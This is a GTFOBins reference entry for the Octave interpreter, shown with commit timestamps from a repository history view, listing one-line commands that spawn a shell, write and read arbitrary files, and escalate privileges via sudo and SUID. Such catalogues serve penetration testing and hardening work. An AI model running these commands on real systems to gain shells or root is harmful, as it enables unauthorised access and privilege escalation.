GTFOBins.github.io/_gtfobins/octave.md

15 lines
553 B
Markdown
Raw Normal View History

---
2021-04-22 22:12:26 +02:00
description: The payloads are compatible with GUI.
functions:
shell:
- code: octave-cli --eval 'system("/bin/sh")'
2021-04-22 22:12:26 +02:00
file-write:
- code: octave-cli --eval 'filename = "file_to_write"; fid = fopen(filename, "w"); fputs(fid, "DATA"); fclose(fid);'
2021-04-22 22:12:26 +02:00
file-read:
- code: octave-cli --eval 'format none; fid = fopen("file_to_read"); while(!feof(fid)); txt = fgetl(fid); disp(txt); endwhile; fclose(fid);'
2021-04-22 22:12:26 +02:00
sudo:
- code: sudo octave-cli --eval 'system("/bin/sh")'
limited-suid:
- code: ./octave-cli --eval 'system("/bin/sh")'
---